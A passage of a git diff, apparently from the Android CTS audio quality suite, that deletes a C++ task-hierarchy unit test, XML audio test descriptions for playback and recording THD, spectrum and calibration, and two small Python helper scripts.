-
-        explicit TestTaskDummy(TaskGeneric::TaskType type)
-            : TaskGeneric(type) {
-            mLiveInstanceCounter++;
-
-
-            const android::String8* list[] = {&AAA, &BBB, NULL};
-            registerSupportedStringAttributes(list);
-        };
-        virtual ~TestTaskDummy(){
-            mLiveInstanceCounter--;
-        };
-
-        virtual TaskGeneric::ExecutionResult run()
-        {
-            mRunCounter++;
-            return TaskGeneric::run();
-        };
-        bool addStringAttributePublic(const android::String8& key, android::String8& value){
-            return addStringAttribute(key, value);
-        }
-        bool findStringAttributePublic(const android::String8& key, android::String8& value){
-            return findStringAttribute(key, value);
-        }
-    };
-
-    virtual void SetUp() {
-        TestTaskDummy::mRunCounter = 0;
-        TestTaskDummy::mLiveInstanceCounter = 0;
-        mTestCase = new TaskCase();
-        mTaskSetup = new TestTaskDummy(TaskGeneric::ETaskSetup);
-        mTaskAction = new TestTaskDummy(TaskGeneric::ETaskAction);
-        ASSERT_TRUE(mTestCase->addChild(mTaskSetup));
-        ASSERT_TRUE(mTestCase->addChild(mTaskAction));
-        mTaskSequential = new TestTaskDummy(TaskGeneric::ETaskSequential);
-        ASSERT_TRUE(mTaskAction->addChild(mTaskSequential));
-        mTaskProcess = new TestTaskDummy(TaskGeneric::ETaskProcess);
-        mTaskInput = new TestTaskDummy(TaskGeneric::ETaskInput);
-        mTaskOutput = new TestTaskDummy(TaskGeneric::ETaskOutput);
-        ASSERT_TRUE(mTaskSequential->addChild(mTaskOutput));
-        ASSERT_TRUE(mTaskSequential->addChild(mTaskInput));
-        ASSERT_TRUE(mTaskSequential->addChild(mTaskProcess));
-        mTaskSound = new TestTaskDummy(TaskGeneric::ETaskSound);
-        ASSERT_TRUE(mTaskSetup->addChild(mTaskSound));
-        ASSERT_TRUE(TestTaskDummy::mLiveInstanceCounter == 7);
-    }
-
-    virtual void TearDown() {
-        if(mTestCase != NULL) {
-            delete mTestCase;
-        }
-        ASSERT_TRUE(TestTaskDummy::mLiveInstanceCounter == 0);
-    }
-};
-
-int TaskTest::TestTaskDummy::mRunCounter = 0;
-int TaskTest::TestTaskDummy::mLiveInstanceCounter = 0;
-
-TEST_F(TaskTest, HierarchyTest) {
-    // verify hierarchy
-    ASSERT_TRUE(mTaskSetup->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskAction->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskSequential->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskProcess->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskInput->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskOutput->getTestCase() == mTestCase);
-    ASSERT_TRUE(mTaskSound->getTestCase() == mTestCase);
-}
-
-TEST_F(TaskTest, RunTest) {
-    ASSERT_TRUE(mTestCase->run() == TaskGeneric::EResultOK);
-    ASSERT_TRUE(TestTaskDummy::mRunCounter == 7);
-}
-
-TEST_F(TaskTest, StringAttributeTest) {
-    android::String8 aaaVal("aaa_val");
-    android::String8 bbbVal("bbb_val");
-    android::String8 read;
-    TestTaskDummy* task = reinterpret_cast<TestTaskDummy*>(mTaskSetup);
-    ASSERT_TRUE(task->addStringAttributePublic(AAA, aaaVal));
-    ASSERT_TRUE(task->addStringAttributePublic(BBB, bbbVal));
-    const android::String8 CCC("ccc");
-    ASSERT_TRUE(!task->addStringAttributePublic(CCC, bbbVal));
-    ASSERT_TRUE(task->findStringAttributePublic(AAA, read));
-    ASSERT_TRUE(read == aaaVal);
-    ASSERT_TRUE(task->findStringAttributePublic(BBB, read));
-    ASSERT_TRUE(read == bbbVal);
-    const android::String8 VERSION("version");
-    const android::String8 NAME("name");
-    ASSERT_TRUE(!task->findStringAttributePublic(VERSION, read));
-    ASSERT_TRUE(!task->findStringAttributePublic(NAME, read));
-}
-
-
diff --git a/suite/audio_quality/test_description/all_playback.xml b/suite/audio_quality/test_description/all_playback.xml
deleted file mode 100644
index cf5af6f..0000000
--- a/suite/audio_quality/test_description/all_playback.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<batch name="cts_audio_all_playback" version="1.0" description="All playback tests">
-	<include file="dut_speaker_calibration.xml" />
-	<include file="dut_playback_thd.xml" />
-	<include file="dut_playback_spectrum.xml" />
-</batch>
diff --git a/suite/audio_quality/test_description/all_recording.xml b/suite/audio_quality/test_description/all_recording.xml
deleted file mode 100644
index f1e78b9..0000000
--- a/suite/audio_quality/test_description/all_recording.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<batch name="cts_audio_all_recording" version="1.0" description="All recording tests">
-	<include file="host_speaker_calibration.xml" />
-	<include file="dut_recording_thd.xml" />
-	<include file="dut_recording_spectrum.xml" />
-</batch>
diff --git a/suite/audio_quality/test_description/conf/check_conf.py b/suite/audio_quality/test_description/conf/check_conf.py
deleted file mode 100644
index d7775af..0000000
--- a/suite/audio_quality/test_description/conf/check_conf.py
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import sys
-import numpy as np
-import scipy as sp
-from numpy import *
-if __name__=="__main__":
-    if(sys.version_info < (2,6,0)):
-        print "Wrong Python version ", sys.version_info
-        sys.exit(1)
-    a = np.array([1,2,3])
-    print "___CTS_AUDIO_PASS___"
diff --git a/suite/audio_quality/test_description/conf/detect_usb_audio.py b/suite/audio_quality/test_description/conf/detect_usb_audio.py
deleted file mode 100644
index 259f7e1..0000000
--- a/suite/audio_quality/test_description/conf/detect_usb_audio.py
+++ /dev/null
@@ -1,51 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the 'License');
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-#detect USB sound card from sound card lists under sys/class/sound/soundX
-
-import os, re, sys
-
-AUDIO_CLASS_DIR = "/sys/class/sound"
-
-def main(argv):
-  if len(argv) < 2:
-    print "Usage: detect_usb_audio.py (product)+"
-    print "   ex: detect_usb_audio.py MobilePre"
-    sys.exit(1)
-  current_argv = 1
-  product_list = []
-  while current_argv < len(argv):
-    product_list.append(argv[current_argv])
-    current_argv = current_argv + 1
-  #print product_list
-  sound_dev_list = os.listdir(AUDIO_CLASS_DIR)
-  for sound_dev in sound_dev_list:
-    m = re.search("card(\d+)$", sound_dev)
-    if m != None:
-      card_full_path = os.path.realpath(AUDIO_CLASS_DIR + "/" + sound_dev)
-      if "usb" in card_full_path:
-        f = open(card_full_path + "/id")
-        line = f.readline().strip()
-        if line in product_list:
-          print "___CTS_AUDIO_PASS___ " + line + " " + m.group(1)
-          sys.exit(0)
-        f.close()
-  # card not found
-  sys.exit(1)
-
-if __name__ == '__main__':
-  main(sys.argv)
diff --git a/suite/audio_quality/test_description/dut_playback_sample.xml b/suite/audio_quality/test_description/dut_playback_sample.xml
deleted file mode 100644
index f78209e..0000000
--- a/suite/audio_quality/test_description/dut_playback_sample.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_playback_sample" version="1.0" description="Sample test which check frequency of DUT's playback">
-	<setup>
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 4000ms long -->
-		<sound id="sound1" type="sin:32000:1000:4000" preload="1" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<output device="DUT" id="sound1" gain="100" sync="start" waitforcompletion="0" />
-			<sequential repeat="1" index="j">
-				<!-- dummy recording to compensate for possible playback latency -->
-				<input device="host" id="dummy" gain="100" time="1000" sync="complete" />
-				<input device="host" id="host_in_$j" gain="100" time="2000" sync="complete" />
-			</sequential>
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, signal frequency in Hz, threshold, output: frequency calculated -->
-			<process method="script:playback_sample" input="id:host_in_$k,consti:1000,constf:5.0" output="val:freq_device_$k" />
-		</sequential>
-	</action>
-	<save file="host_in_.*" report="freq_device_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_playback_spectrum.xml b/suite/audio_quality/test_description/dut_playback_spectrum.xml
deleted file mode 100644
index 90a5a3d..0000000
--- a/suite/audio_quality/test_description/dut_playback_spectrum.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_playback_spectrum" version="1.0" description="Check frequency spectrum for playback">
-	<setup>
-		<!-- input: peak amplitude, duration in msec, sampling rate, high frequency, output: generated sound-->
-		<process method="script:gen_random" input="consti:10000,consti:4000,consti:44100,consti:20000" output="id:sound1" />
-		<download id="sound1" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<input device="host" id="host_in_$i" gain="100" time="5000" sync="start" />
-			<output device="DUT" id="sound1" gain="100" mode="voice" sync="start" waitforcompletion="1" />
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated amplitude ratio in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:sound1,id:host_in_$k,consti:44100,consti:500,consti:8000,constf:97.0,constf:200.0" output="val:min_val_$k,val:max_val_$k,id:spectrum_$k" />
-		</sequential>
-	</action>
-	<save file="sound1,host_in_.*,spectrum_.*" report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_playback_thd.xml b/suite/audio_quality/test_description/dut_playback_thd.xml
deleted file mode 100644
index 9e32756..0000000
--- a/suite/audio_quality/test_description/dut_playback_thd.xml
+++ /dev/null
@@ -1,38 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_playback_thd" version="1.0" description="Check THD in DUT's playback side">
-	<setup>
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 4000ms long -->
-		<sound id="sound1" type="sin:32000:1000:4000" preload="1" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<output device="DUT" id="sound1" gain="100" sync="start" waitforcompletion="0" />
-			<sequential repeat="1" index="j">
-				<!-- dummy recording to compensate for possible playback latency -->
-				<input device="host" id="dummy" gain="100" time="1000" sync="complete" />
-				<input device="host" id="host_in_$j" gain="100" time="2000" sync="complete" />
-			</sequential>
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, signal frequency in Hz, THD for pass in percentile, output: THD calculated -->
-			<process method="script:playback_thd" input="id:host_in_$k,consti:1000,constf:5.0" output="val:thd_device_$k" />
-		</sequential>
-	</action>
-	<save file="host_in_.*" report="thd_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_recording_spectrum.xml b/suite/audio_quality/test_description/dut_recording_spectrum.xml
deleted file mode 100644
index a7373d2..0000000
--- a/suite/audio_quality/test_description/dut_recording_spectrum.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_recording_spectrum" version="1.0" description="Check frequency spectrum for recording">
-	<setup>
-		<!-- input: peak amplitude, duration in msec, sampling rate, high frequency, output: generated sound-->
-		<process method="script:gen_random" input="consti:10000,consti:30000,consti:44100,consti:6000" output="id:sound1" />
-		<!--  Only for starting client app early. The data is not used -->
-		<sound id="sound2" type="sin:1:1000:2" preload="1"/>
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<output device="host" id="sound1" gain="100" sync="start" waitforcompletion="0" />
-			<sequential repeat="5" index="j">
-				<input device="host" id="host_in_$j" gain="100" time="6000" sync="start" />
-				<input device="DUT" id="dut_in_$j" gain="100" time="4000" sync="start" />
-			</sequential>
-		</sequential>
-		<sequential repeat="5" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated amplitude ratio in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:host_in_$k,id:dut_in_$k,consti:44100,consti:200,consti:4000,constf:95.0,constf:200.0" output="val:min_val_$k,val:max_val_$k,id:tf_$k" />
-		</sequential>
-	</action>
-	<save file="sound1,host_in_.*,dut_in_.*,tf_.*" report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_recording_thd.xml b/suite/audio_quality/test_description/dut_recording_thd.xml
deleted file mode 100644
index 4567ee2..0000000
--- a/suite/audio_quality/test_description/dut_recording_thd.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_recording_thd" version="1.0" description="Check THD in DUT's recording side">
-	<setup>
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 40000ms long -->
-		<sound id="sound1" type="sin:32000:1000:40000" />
-		<!--  Only for starting client app early. The data is not used -->
-		<sound id="sound2" type="sin:1:1000:2" preload="1"/>
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<output device="host" id="sound1" gain="100" sync="start" waitforcompletion="0" />
-			<sequential repeat="2" index="j">
-				<input device="host" id="host_in_$j" gain="100" time="4000" sync="start" />
-				<input device="DUT" id="dut_in_$j" gain="100" time="2000" sync="start" />
-			</sequential>
-		</sequential>
-		<sequential repeat="2" index="k">
-			<!-- input: host record, device record, signal frequency in Hz, THD for pass in percentile, output: THD calculated -->
-			<process method="script:recording_thd" input="id:host_in_$k,id:dut_in_$k,consti:1000,constf:1.0" output="val:thd_host_$k,val:thd_device_$k" />
-		</sequential>
-	</action>
-	<save file="host_in_.*,dut_in_.*" report="thd_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_speaker_calibration.xml b/suite/audio_quality/test_description/dut_speaker_calibration.xml
deleted file mode 100644
index a70442c..0000000
--- a/suite/audio_quality/test_description/dut_speaker_calibration.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_speaker_calibration" version="1.0" description="Calibrate host recording gain">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 20000ms long -->
-		<sound id="sound1" type="sin:32000:1000:20000" preload="1" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="20" index="i">
-			<!--  sync start : execute only sync complete : execute + complete
-			      For sync start, complete will be called when the parent completes -->
-			<output device="DUT" id="sound1" gain="100" sync="start"/>
-			<sequential repeat="50" index="j">
-				<input device="host" id="host_in" gain="100" time="250" sync="complete" />
-				<!-- ------------moving average RMS        min for pass, max for pass                result calculated -->
-				<process method="builtin:rms_mva" input="id:host_in,consti:1000,consti:8000" output="val:rms_$i_$j" />
-				<!-- <message input="val:passfail" output_low="Volume Low" output_ok="Volume OK" output_high="Volume High" /> -->
-			</sequential>
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/dut_speaker_calibration_no_pass.xml b/suite/audio_quality/test_description/dut_speaker_calibration_no_pass.xml
deleted file mode 100644
index 5ebdf8b..0000000
--- a/suite/audio_quality/test_description/dut_speaker_calibration_no_pass.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_speaker_calibration" version="1.0" description="Calibrate host recording gain">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 20000ms long -->
-		<sound id="sound1" type="sin:32000:1000:20000" preload="1" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="20" index="i">
-			<!--  sync start : execute only sync complete : execute + complete
-			      For sync start, complete will be called when the parent completes -->
-			<output device="DUT" id="sound1" gain="100" sync="start" waitforcompletion="1" />
-			<sequential repeat="50" index="j">
-				<input device="host" id="host_in" gain="100" time="250" sync="complete" />
-				<!-- ------------moving average RMS        min for pass, max for pass                result calculated -->
-				<process method="builtin:rms_mva" input="id:host_in,consti:2,consti:1" output="val:rms_$i_$j" />
-				<!-- <message input="val:passfail" output_low="Volume Low" output_ok="Volume OK" output_high="Volume High" /> -->
-			</sequential>
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/experimental/chirp_400_20000.r2s b/suite/audio_quality/test_description/experimental/chirp_400_20000.r2s
deleted file mode 100644
index 46ba654..0000000
--- a/suite/audio_quality/test_description/experimental/chirp_400_20000.r2s
+++ /dev/null
Binary files differ
diff --git a/suite/audio_quality/test_description/experimental/dut_playback_spectrum_chirp.xml b/suite/audio_quality/test_description/experimental/dut_playback_spectrum_chirp.xml
deleted file mode 100644
index 63374eb..0000000
--- a/suite/audio_quality/test_description/experimental/dut_playback_spectrum_chirp.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_playback_spectrum_chirp" version="1.0" description="Check frequency spectrum for playback">
-	<setup>
-		<!-- input: peak amplitude, duration in msec, sampling rate, high frequency, output: generated sound-->
-		<sound id="chirp" type="file:test_description/experimental/chirp_400_20000.r2s" preload="1" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-                        <input device="host" id="host_in_$i" gain="100" time="5000" sync="start" />
-			<output device="DUT" id="chirp" gain="100" mode="voice" sync="start" waitforcompletion="0" />
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated amplitude ratio in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:chirp,id:host_in_$k,consti:44100,consti:500,consti:8000,constf:50.0,constf:100.0" output="val:min_val_$k,val:max_val_$k,id:spectrum_$k" />
-		</sequential>
-	</action>
-	<save file="chirp,host_in_.*,spectrum_.*" report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/experimental/ref_playback_spectrum.xml b/suite/audio_quality/test_description/experimental/ref_playback_spectrum.xml
deleted file mode 100644
index 7653208..0000000
--- a/suite/audio_quality/test_description/experimental/ref_playback_spectrum.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="dut_playback_spectrum" version="1.0" description="Check frequency spectrum for playback">
-	<setup>
-		<!-- input: peak amplitude, duration in msec, sampling rate, high frequency, output: generated sound-->
-		<process method="script:gen_random" input="consti:10000,consti:5000,consti:44100,consti:20000" output="id:sound1" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-			<input device="host" id="host_in_$i" gain="100" time="4000" sync="start" />
-			<output device="host" id="sound1" gain="100" sync="start" waitforcompletion="1" />
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated amplitude ratio in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:sound1,id:host_in_$k,consti:44100,consti:500,consti:8000,constf:50.0,constf:100.0" output="val:min_val_$k,val:max_val_$k,id:spectrum_$k" />
-		</sequential>
-	</action>
-	<save file="sound1,host_in_.*,spectrum_.*" report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/experimental/ref_playback_spectrum_chirp.xml b/suite/audio_quality/test_description/experimental/ref_playback_spectrum_chirp.xml
deleted file mode 100644
index 9e689f2..0000000
--- a/suite/audio_quality/test_description/experimental/ref_playback_spectrum_chirp.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="ref_playback_spectrum_chirp" version="1.0" description="Check frequency spectrum of reference speaker for playback">
-	<setup>
-		<!-- input: peak amplitude, duration in msec, sampling rate, high frequency, output: generated sound-->
-		<sound id="chirp" type="file:test_description/experimental/chirp_400_20000.r2s" />
-	</setup>
-	<action>
-		<sequential repeat="1" index="i">
-                        <input device="host" id="host_in_$i" gain="100" time="5000" sync="start" />
-			<output device="host" id="chirp" gain="100" sync="start" waitforcompletion="0" />
-		</sequential>
-		<sequential repeat="1" index="k">
-			<!-- input: host record, device record, samping rate, low frequency in Hz, high frequency in Hz, allowed error for pass in smaller side, allowed error in bigger side%, output: min value in lower side calculated normalized to 1.0, max value in higher side, calculated amplitude ratio in mannitude only between low f to high f -->
-			<process method="script:check_spectrum" input="id:chirp,id:host_in_$k,consti:44100,consti:500,consti:8000,constf:50.0,constf:100.0" output="val:min_val_$k,val:max_val_$k,id:spectrum_$k" />
-		</sequential>
-	</action>
-	<save file="chirp,host_in_.*,spectrum_.*" report="min_val_.*,max_val_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/host_speaker_calibration.xml b/suite/audio_quality/test_description/host_speaker_calibration.xml
deleted file mode 100644
index 7ec3b77..0000000
--- a/suite/audio_quality/test_description/host_speaker_calibration.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="host_speaker_calibration" version="1.0" description="Calibrate host speaker's volume.">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 30000ms long -->
-		<sound id="sound1" type="sin:32000:1000:30000" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="20" index="i">
-			<!--  sync start : execute only sync complete : execute + complete
-			      For sync start, complete will be called when the parent completes -->
-			<output device="host" id="sound1" gain="70" sync="start"/>
-			<sequential repeat="80" index="j">
-				<input device="host" id="host_in" gain="70" time="250" sync="complete" />
-				<!-- ------------moving average RMS        min for pass, max for pass                result calculated -->
-				<process method="builtin:rms_mva" input="id:host_in,consti:2000,consti:6000" output="val:rms_$i_$j" />
-				<!-- <message input="val:passfail" output_low="Volume Low" output_ok="Volume OK" output_high="Volume High" /> -->
-			</sequential>
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/host_speaker_calibration_no_pass.xml b/suite/audio_quality/test_description/host_speaker_calibration_no_pass.xml
deleted file mode 100644
index a1d5afb..0000000
--- a/suite/audio_quality/test_description/host_speaker_calibration_no_pass.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
